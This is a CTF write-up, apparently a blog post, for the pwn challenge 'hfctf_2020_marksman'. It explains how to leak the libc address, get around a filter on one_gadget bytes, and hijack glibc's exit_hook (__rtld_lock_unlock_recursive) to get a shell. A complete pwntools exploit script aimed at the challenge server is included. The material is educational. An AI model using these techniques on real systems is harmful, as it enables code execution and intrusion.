• Adjust one_gadget and hijack exit_hook:hfctf_2020_marksman


    Mastered new knowledge points through this topic:hijack exit_hook.

    Analyze

    We first drag in ida

    The binary first gave the address of the puts function.
    So we can get the address of the libc and one_gadget easily.
    But there is a check function in the binary. All one_gadget found through one_gadget are invalid.

    signed __int64 __fastcall check(_BYTE *target)
    {
      if ( (*target != 0xC5u || target[1] != 0xF2u)
        && (*target != 0x22 || target[1] != 0xF3u)
        && *target != 0x8Cu
        && target[1] != 0xA3u )
      {
        return 1LL;
      }
      puts("You always want a Gold Finger!");
      return 0LL;
    }
    


    But through ida, I found that there is a call instruction near a one_gadget. Through experiments, I found that this gadget is valid.
    call close

    So the next thing to do is to hijack a function as that gadget.
    In the binary, we found that the exit function was called in the end of the binary. So we hijack exit_hook.
    exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
    Modify __rtld_lock_unlock_recursive or __rtld_lock_lock_recursive.
    In gdb:

    exp

    exp:

    from pwn import *
    
    '''
    author: lemon
    time: 2021-01-17
    python version: 3.8.5
    '''
    
    local = 0
    
    binary = "hfctf_2020_marksman"
    libc_path = '../libc-2.27.so'
    port = "29614"
    
    if local == 1:
    	p = process(binary)
    else:
    	p = remote("node3.buuoj.cn",port)
    
    def dbg():
    	context.log_level = 'debug'
    
    def leak_libc(addr):
    	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
    	libc = ELF(libc_path)
    	libc_base = addr - libc.sym['puts']
    	print("[*] libc base:",hex(libc_base))
    	__malloc_hook = libc_base + libc.sym['__malloc_hook']
    	system = libc_base + libc.sym['system']
    	__free_hook = libc_base + libc.sym['__free_hook']
    	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
    
    context.terminal = ['tmux','splitw','-h']
    
    p.recvuntil('I placed the target near: ')
    puts_addr = int(p.recv(14),base = 16)
    leak_libc(puts_addr)
    
    exit_hook = libc_base + 0x81df60
    
    og = libc_base + 0x10a38c
    check_og = libc_base + 0x10A387
    
    p.recvuntil('shoot!shoot!')
    p.sendline(str(exit_hook))
    p.recvuntil('biang!')
    p.sendline(chr(check_og & 0xff))
    p.recvuntil('biang!')
    p.sendline(chr(check_og >> 8 & 0xff))
    p.recvuntil('biang!')
    p.sendline(chr(check_og >> 16 & 0xff))
    
    p.interactive()
    

    Reference Link :
    https://blog.csdn.net/qq_43116977/article/details/105485947
    http://taqini.space/2020/04/29/about-execve/#栗子
    http://chumen77.xyz/2020/09/28/BUUCTF刷题记录/#hfctf-2020-marksman

  • 相关阅读:
    bzoj3832
    bzoj2117
    bzoj1095
    BZOJ 4247: 挂饰 题解
    1296: [SCOI2009]粉刷匠
    3163: [Heoi2013]Eden的新背包问题
    2287: 【POJ Challenge】消失之物
    1334: [Baltic2008]Elect
    2748: [HAOI2012]音量调节
    1606: [Usaco2008 Dec]Hay For Sale 购买干草
  • 原文地址:https://www.cnblogs.com/lemon629/p/14290240.html
Copyright © 2020-2023  润新知